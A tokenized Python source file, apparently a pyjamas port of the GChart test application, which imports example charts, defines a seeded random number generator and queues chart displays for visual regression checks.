"from_", "Test", "GC", "hart", "02_", "import_", "Test", "GC", "hart", "02_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "Test", "GC", "hart", "05_", "import_", "Test", "GC", "hart", "05_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "GC", "hart", "Exam", "ple", "00_", "import_", "GC", "hart", "Exam", "ple", "00_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "GC", "hart", "Exam", "ple", "00", "a_", "import_", "GC", "hart", "Exam", "ple", "00", "a_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "GC", "hart", "Exam", "ple", "01_", "import_", "GC", "hart", "Exam", "ple", "01_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "GC", "hart", "Exam", "ple", "02_", "import_", "GC", "hart", "Exam", "ple", "02_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "GC", "hart", "Exam", "ple", "03_", "import_", "GC", "hart", "Exam", "ple", "03_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "GC", "hart", "Exam", "ple", "04_", "import_", "GC", "hart", "Exam", "ple", "04_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "GC", "hart", "Exam", "ple", "06_", "import_", "GC", "hart", "Exam", "ple", "06_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "GC", "hart", "Exam", "ple", "07_", "import_", "GC", "hart", "Exam", "ple", "07_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "GC", "hart", "Exam", "ple", "14_", "import_", "GC", "hart", "Exam", "ple", "14_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "GC", "hart", "Exam", "ple", "17_", "import_", "GC", "hart", "Exam", "ple", "17_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "GC", "hart", "Exam", "ple", "20_", "import_", "GC", "hart", "Exam", "ple", "20_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "GC", "hart", "Exam", "ple", "21_", "import_", "GC", "hart", "Exam", "ple", "21_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "GC", "hart", "Exam", "ple", "24_", "import_", "GC", "hart", "Exam", "ple", "24_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "GC", "hart", "Exam", "ple", "25_", "import_", "GC", "hart", "Exam", "ple", "25_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\"\"\"", "*", "\\", "10", ";", "*", "\\", "10", ";", "*", " ", "Display", "s", " ", "the", " ", "test", " ", " ", "chart", " ", "in", " ", "the", " ", "browse", "r", ",", " ", "and", " ", "checks", " ", "the", " ", "HTM", "L", "\\", "10", ";", "*", " ", "generat", "ed", " ", "against", " ", "previ", "ous", ",", " ", "visu", "ally", " ", "validat", "ed", ",", " ", "browse", "r", "\\", "10", ";", "*", " ", "output", " ", "HTM", "L", " ", "hash", " ", "codes", " ", "to", " ", "see", " ", "if", " ", "HTM", "L", " ", "output", " ", "from", " ", "the", " ", "test", "\\", "10", ";", "*", " ", "has", " ", "change", "d", " ", "(", "possib", "ly", " ", "due", " ", "to", " ", "an", " ", "error", ").", "\\", "10", ";", "*", "\\", "10", ";", "*", " ", "As", " ", "long", " ", "as", " ", "GC", "hart", " ", "and", " ", "the", " ", "test", " ", "set", " ", "its", "elf", " ", "has", " ", "not", " ", "change", "d", ",", "\\", "10", ";", "*", " ", "these", " ", "tests", " ", "can", " ", "be", " ", "perform", "ed", " ", "by", " ", "first", " ", "runn", "ing", " ", "in", " ", "hoste", "d", "\\", "10", ";", "*", " ", "mode", ",", " ", "then", " ", "click", "ing", " ", "on", " ", "the", " ", "\"", "Compil", "e", "/", "Brows", "e", "\"", " ", "button", ".", " ", "If", "\\", "10", ";", "*", " ", "\"", "Test", " ", "pass", "ed", "\"", " ", "is", " ", "displaye", "d", " ", "in", " ", "hoste", "d", " ", "mode", " ", "and", " ", "als", "o", " ", "in", "\\", "10", ";", "*", " ", "Fire", "fox", " ", "after", " ", "the", " ", "compile", " ", "(", "this", " ", "assume", "s", " ", "Fire", "fox", " ", "is", " ", "your", " ", "default", " ", "browse", "r", ")", "\\", "10", ";", "*", " ", "it", " ", "means", " ", "tha", "t", " ", "the", " ", "generat", "ed", " ", "HTM", "L", " ", "has", " ", "not", " ", "change", "d", " ", "sinc", "e", "\\", "10", ";", "*", " ", "the", " ", "last", " ", "time", " ", "it", " ", "was", " ", "visu", "ally", " ", "inspect", "ed", "--", "test", " ", "pass", "ed", ".", "\\", "10", ";", "*", "\\", "10", ";", "*", " ", "If", " ", "the", " ", "test", " ", "or", " ", "GC", "hart", " ", "change", "s", " ", "so", " ", "as", " ", "to", " ", "change", " ", "browse", "r", " ", "output", ",", "\\", "10", ";", "*", " ", "you", " ", "will", " ", "have", " ", "to", " ", "visu", "ally", " ", "verify", " ", "the", " ", "charts", ",", " ", "and", " ", "then", " ", "(", "ass", "umi", "ng", " ", "the", "\\", "10", ";", "*", " ", "charts", " ", "are", " ", "correct", ")", " ", "enter", " ", "the", " ", "hash", "codes", ".", "\\", "10", ";", "*", "\\", "10", ";", "*", " ", "In", " ", "the", " ", "most", " ", "common", " ", "case", " ", "where", " ", "the", " ", "test", " ", "and", " ", "output", " ", "are", " ", "unchanged", ",", "\\", "10", ";", "*", " ", "the", " ", "test", " ", "shou", "ld", " ", "go", " ", "through", " ", "very", " ", "quickl", "y", ".", "\\", "10", ";", "*", "\\", "10", ";\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\"\"\"", " ", "Linea", "r", " ", "congr", "uent", " ", "random", " ", "number", " ", "generat", "or", ".", "\\", "10", ";", "*", "\\", "10", ";", "*", " ", "Cann", "ot", " ", "use", " ", "GW", "T", "'", "s", " ", "Math", ".", "random", "()", " ", "bec", "aus", "e", ",", " ", "for", " ", "automat", "ed", "\\", "10", ";", "*", " ", "testi", "ng", ",", " ", "we", " ", "require", " ", "tha", "t", " ", "the", " ", "exact", " ", "same", " ", "random", " ", "sequence", "\\", "10", ";", "*", " ", "be", " ", "used", " ", "each", " ", "time", " ", "(", "GW", "T", " ", "doe", "s", " ", "not", " ", "support", " ", "the", " ", "JD", "K", "'", "s", " ", "more", "\\", "10", ";", "*", " ", "gener", "ic", " ", "Random", " ", "class", ",", " ", "whi", "ch", " ", "wou", "ld", " ", "have", " ", "allow", "ed", " ", "this", ").", "\\", "10", ";", "*", "\\", "10", ";", "*", " ", "Const", "ant", "s", " ", "are", " ", "from", " ", "Kn", "uth", " ", "via", " ", "Numerical", " ", "Recip", "es", " ", "in", " ", "C", ".", "\\", "10", ";", "*", "\\", "10", ";\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "i_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\"\"\"", "\\", "10", ";", "*", " ", "All", "ow", "s", " ", "us", " ", "to", " ", "quickl", "y", " ", "check", " ", "if", " ", "test", " ", "charts", " ", "change", "d", " ", "sinc", "e", " ", "last", " ", "time", "\\", "10", ";", "*", " ", "the", "y", " ", "wer", "e", " ", "manu", "ally", " ", "inspect", "ed", ",", " ", "thu", "s", " ", "eliminat", "ing", " ", "the", " ", "many", " ", "ted", "ious", "\\", "10", ";", "*", " ", "re", "-", "inspection", "s", " ", "I", " ", "used", " ", "to", " ", "have", " ", "to", " ", "do", ".", "\\", "10", ";", "*", "\\", "10", ";", "*", " ", "Whe", "neve", "r", " ", "the", " ", "test", " ", "change", "s", ",", " ", "or", " ", "GC", "hart", " ", "change", "s", " ", "in", " ", "a", " ", "way", " ", "tha", "t", " ", "change", "s", "\\", "10", ";", "*", " ", "generat", "ed", " ", "HTM", "L", ",", " ", "manu", "al", " ", "chart", " ", "re", "-", "inspection", " ", "is", " ", "need", "ed", " ", "and", "\\", "10", ";", "*", " ", "the", " ", "vari", "ous", " ", "hash", "codes", " ", "belo", "w", " ", "need", " ", "to", " ", "be", " ", "re", "-", "enter", "ed", ".", "\\", "10", ";", "*", "\\", "10", ";", "*", " ", "Not", "e", " ", "tha", "t", " ", "somet", "imes", " ", "the", " ", "hoste", "d", " ", "mode", " ", "cold", "-", "start", " ", "hash", " ", "code", " ", "is", " ", "generat", "ed", " ", "by", "\\", "10", ";", "*", " ", "a", " ", "refre", "sh", ",", " ", "so", " ", "if", " ", "you", " ", "get", " ", "the", " ", "same", " ", "hash", " ", "code", " ", "the", " ", "first", " ", "time", "\\", "10", ";", "*", " ", "you", " ", "press", " ", "refre", "sh", ",", " ", "try", " ", "again", " ", "to", " ", "produce", " ", "the", " ", "second", ",", " ", "refre", "sh", ",", " ", "hash", " ", "code", ".", "\\", "10", ";", "*", "\\", "10", ";", "*", " ", "Not", "e", ",", " ", "tha", "t", " ", "if", " ", "you", " ", "open", " ", "the", " ", "compile", "d", " ", "app", " ", "direct", "ly", " ", "from", " ", "the", " ", "file", " ", "system", "\\", "10", ";", "*", " ", "rat", "her", " ", "than", " ", "via", " ", "the", " ", "Compil", "e", "/", "Brows", "e", " ", "button", ",", " ", "Fire", "fox", " ", "produce", "s", " ", "a", " ", "different", "\\", "10", ";", "*", " ", "HTM", "L", "/", "hash", " ", "code", ",", " ", "so", " ", "you", " ", "must", " ", "run", " ", "the", " ", "test", " ", "via", " ", "the", " ", "Compil", "e", "/", "Brows", "e", " ", "button", ".", "\\", "10", ";", "*", "\\", "10", ";\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "GC", "hart", "Test", "App", "Util_", "import_", "get", "Title_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "\\u\\u", "name\\u\\u_", "==_", "'\\u", "\\u", "main", "\\u\\u'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "on", "Modul", "e", "Load_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "pyj", "d_", "._", "run_", "(_", ")_", "\\u\\u\\uDEDENT\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "rnd_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "m_", "=_", "217", "728", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "a_", "=_", "845", "89_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "c_", "=_", "459", "89_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "i_", "=_", "(_", "a_", "*_", "i_", "+_", "c_", ")_", "%_", "m_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "i_", "/_", "m_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "class_", "Add", "One", "Chart_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Add", "One", "Chart_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "gch", "art_", ",_", "need", "s", "Update_", "=_", "True_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "gch", "art", ".", "set", "Optimize", "For", "Memo", "ry", "(", "Tru", "e", ")_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "gch", "art_", "=_", "gch", "art_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "need", "s", "Update_", "=_", "need", "s", "Update_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Add", "One", "Chart_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "execute_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "Roo", "t", "Panel_", "(_", "\"", "testa", "pp", "charts", "\"_", ")_", "._", "add_", "(_", "HTML_", "(_", "get", "Title_", "(_", "self_", "._", "gch", "art_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "Roo", "t", "Panel_", "(_", "\"", "testa", "pp", "charts", "\"_", ")_", "._", "add_", "(_", "self_", "._", "gch", "art_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "self_", "._", "need", "s", "Update_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "gch", "art_", "._", "update_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "add", "Chart_", "(_", "gch", "art_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "Defe", "rre", "d", "Command_", "._", "add_", "(_", "Add", "One", "Chart_", "(_", "gch", "art_", ",_", "True_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "add", "Char", "t", "No", "Update_", "(_", "gch", "art_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "Defe", "rre", "d", "Command_", "._", "add_", "(_", "Add", "One", "Chart_", "(_", "gch", "art_", ",_", "False_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "GW", "TC", "anv", "as", "Base", "d", "Can", "vas", "Factory_", "(_", "object_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "GW", "TC", "anv", "as", "Base", "d", "Can", "vas", "Factory_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "create_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "GW", "TC", "anv", "as_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "on", "Modul", "e", "Load_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "TOD", "O", ":", " ", "port", " ", "http", "://", "code", ".", "google", ".", "com", "/", "p", "/", "gw", "t", "-", "canvas_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "GC", "hart", "_", "._", "set", "Can", "vas", "Factory_", "(_", "GW", "TC", "anv", "as", "Base", "d", "Can", "vas", "Factory_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "think", "ing", " ", "abo", "ut", " ", "reti", "ring", " ", "these", " ", "tests", ":_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "add", "Char", "t", "(", "GC", "hart", "Exam", "ple", "11", "(", "0", ",", "2", ",", "Fal", "se", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "add", "Char", "t", "(", "GC", "hart", "Exam", "ple", "11", "(", "0", ",", "3", ",", "Fal", "se", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "add", "Char", "t", "(", "GC", "hart", "Exam", "ple", "11", "(", "0", ",", "4", ",", "Fal", "se", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "add", "Char", "t", "(", "GC", "hart", "Exam", "ple", "11", "(", "0", ",", "5", ",", "Fal", "se", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "add", "Char", "t", "(", "GC", "hart", "Exam", "ple", "11", "(", "0", ",", "6", ",", "Fal", "se", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "add", "Char", "t", "(", "GC", "hart", "Exam", "ple", "11", "(", "0", ",", "7", ",", "Fal", "se", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "add", "Char", "t", "(", "GC", "hart", "Exam", "ple", "11", "(", "0", ",", "8", ",", "Fal", "se", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "add", "Char", "t", "(", "Test", "GC", "hart", "40", "())", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "Defe", "rre", "d", "Command", ".", "add", "(", "Command", "()", " ", "{", " ", "voi", "d", " ", "execute", "()", " ", "{_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "Roo", "t", "Pane", "l", ".", "get", "()", ".", "add", "(", "Test", "GC", "hart", "4", "1a", "())", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "}}", ")_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "To", " ", "foc", "us", " ", "on", " ", "a", " ", "single", " ", "test", ",", " ", "simp", "ly", " ", "use", " ", "Ecl", "ipse", "'", "s", " ", "Sou", "rce", ",", " ", "Toggle", " ", "comment_", "\\u\\u\\uNL\\u\\u\\u_", "#", "add", "Char", "t", "(", "GC", "hart", "Exam", "ple", "00", "())", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", "add", "Char", "t", "(", "GC", "hart", "Exam", "ple", "00", "a", "())", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "add", "Char", "t", "(", "GC", "hart", "Exam", "ple", "00", "b", "())", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "add", "Char", "t", "(", "GC", "hart", "Exam", "ple", "00", "c", "())", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", "add", "Char", "t", "(", "GC", "hart", "Exam", "ple", "01", "())", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "add", "Char", "t", "(", "GC", "hart", "Exam", "ple", "01", "a", "(", "3", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "add", "Char", "t", "(", "GC", "hart", "Exam", "ple", "01", "a", "(", "0", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "add", "Char", "t", "(", "GC", "hart", "Exam", "ple", "01", "b", "())", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "add", "Char", "t", "(", "GC", "hart", "Exam", "ple", "01", "c", "())", "_", "\\u\\u\\uNL\\u\\u\\u_", "add", "Chart_", "(_", "GC", "hart", "Exam", "ple", "02_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "add", "Char", "t", "(", "GC", "hart", "Exam", "ple", "03", "())", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", "add", "Char", "t", "(", "GC", "hart", "Exam", "ple", "04", "())", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "add", "Char", "t", "(", "GC", "hart", "Exam", "ple", "04", "a", "())", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "add", "Char", "t", "(", "GC", "hart", "Exam", "ple", "04", "b", "())", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "add", "Char", "t", "(", "GC", "hart", "Exam", "ple", "05", "())", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", "add", "Char", "t", "(", "GC", "hart", "Exam", "ple", "0", "6", "())", "_", "\\u\\u\\uNL\\u\\u\\u_", "add", "Chart_", "(_", "GC", "hart", "Exam", "ple", "07_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", " ", " ", " ", "add", "Char", "t", "(", "GC", "hart", "Exam", "ple", "0", "8", "())", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "add", "Char", "t", "(", "GC", "hart", "Exam", "ple", "09", "())", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "add", "Char", "t", "(", "GC", "hart", "Exam", "ple", "10", "())", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "add", "Char", "t", "(", "GC", "hart", "Exam", "ple", "11", "(", "0", ",", "1", ",", "Tru", "e", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "add", "Char", "t", "(", "GC", "hart", "Exam", "ple", "11", "(", "0", ",", "1", ",", "Fal", "se", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "add", "Char", "t", "(", "GC", "hart", "Exam", "ple", "11", "(", "1", ",", "1", ",", "Fal", "se", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "add", "Char", "t", "(", "GC", "hart", "Exam", "ple", "11", "(", "2", ",", "1", ",", "Fal", "se", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "add", "Char", "t", "(", "GC", "hart", "Exam", "ple", "11", "(", "3", ",", "1", ",", "Fal", "se", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "add", "Char", "t", "(", "GC", "hart", "Exam", "ple", "1", "2", "())", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", "add", "Char", "t", "(", "GC", "hart", "Exam", "ple", "14", "())", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "add", "Char", "t", "(", "GC", "hart", "Exam", "ple", "15", "())", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "add", "Char", "t", "(", "GC", "hart", "Exam", "ple", "15", "a", "())", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "add", "Char", "t", "(", "GC", "hart", "Exam", "ple", "15", "b", "())", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "add", "Char", "t", "(", "GC", "hart", "Exam", "ple", "16", "())", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", "add", "Char", "t", "(", "GC", "hart", "Exam", "ple", "1", "7", "())", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "add", "Char", "t", "(", "GC", "hart", "Exam", "ple", "1", "7a", "())", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "add", "Char", "t", "(", "GC", "hart", "Exam", "ple", "1", "8", "())", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "add", "Char", "t", "(", "GC", "hart", "Exam", "ple", "1", "8a", "())", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "add", "Char", "t", "(", "GC", "hart", "Exam", "ple", "1", "9", "())", "_", "\\u\\u\\uNL\\u\\u\\u_", "add", "Chart_", "(_", "GC", "hart", "Exam", "ple", "20_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", " ", "add", "Char", "t", "(", "GC", "hart", "Exam", "ple", "20", "a", "())", "_", "\\u\\u\\uNL\\u\\u\\u_", "add", "Chart_", "(_", "GC", "hart", "Exam", "ple", "21_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", " ", "add", "Char", "t", "(", "GC", "hart", "Exam", "ple", "2", "2", "())", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "add", "Char", "t", "(", "GC", "hart", "Exam", "ple", "2", "2a", "())", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "add", "Char", "t", "(", "GC", "hart", "Exam", "ple", "23", "(", "Fal", "se", ",", " ", "Fal", "se", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "add", "Char", "t", "(", "GC", "hart", "Exam", "ple", "23", "(", "Fal", "se", ",", " ", "Tru", "e", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "add", "Char", "t", "(", "GC", "hart", "Exam", "ple", "23", "(", "Tru", "e", ",", " ", "Fal", "se", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "add", "Char", "t", "(", "GC", "hart", "Exam", "ple", "23", "(", "Tru", "e", ",", " ", "Tru", "e", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "add", "Chart_", "(_", "GC", "hart", "Exam", "ple", "24_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "add", "Char", "t", "(", "GC", "hart", "Exam", "ple", "25", "())", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", "Defe", "rre", "d", "Command", ".", "add", "(", "Command", "()", " ", "{_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "def", " ", "execute", "(", "self", "):", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "Roo", "t", "Pane", "l", ".", "get", "()", ".", "add", "(", "GC", "hart", "Exam", "ple", "25", "())", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " _", "\\u\\u\\uNL\\u\\u\\u_", "#)", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "add", "Char", "t", "(", "Test", "GC", "hart", "00", "())", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", "add", "Char", "t", "No", "Update", "(", "Test", "GC", "hart", "01", "(", "0", ",", "0", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", "add", "Char", "t", "No", "Update", "(", "Test", "GC", "hart", "01", "(", "1", ",", "0", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", "add", "Char", "t", "No", "Update", "(", "Test", "GC", "hart", "01", "(", "2", ",", "0", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", "add", "Char", "t", "No", "Update", "(", "Test", "GC", "hart", "01", "(", "3", ",", "0", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "add", "Char", "t", "No", "Update", "(", "Test", "GC", "hart", "01", "(", "0", ",", "1", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "add", "Char", "t", "No", "Update", "(", "Test", "GC", "hart", "01", "(", "1", ",", "1", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "add", "Char", "t", "No", "Update", "(", "Test", "GC", "hart", "01", "(", "2", ",", "1", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "add", "Char", "t", "No", "Update", "(", "Test", "GC", "hart", "01", "(", "3", ",", "1", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "add", "Char", "t", "No", "Update", "(", "Test", "GC", "hart", "01", "(", "0", ",", "2", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "add", "Char", "t", "No", "Update", 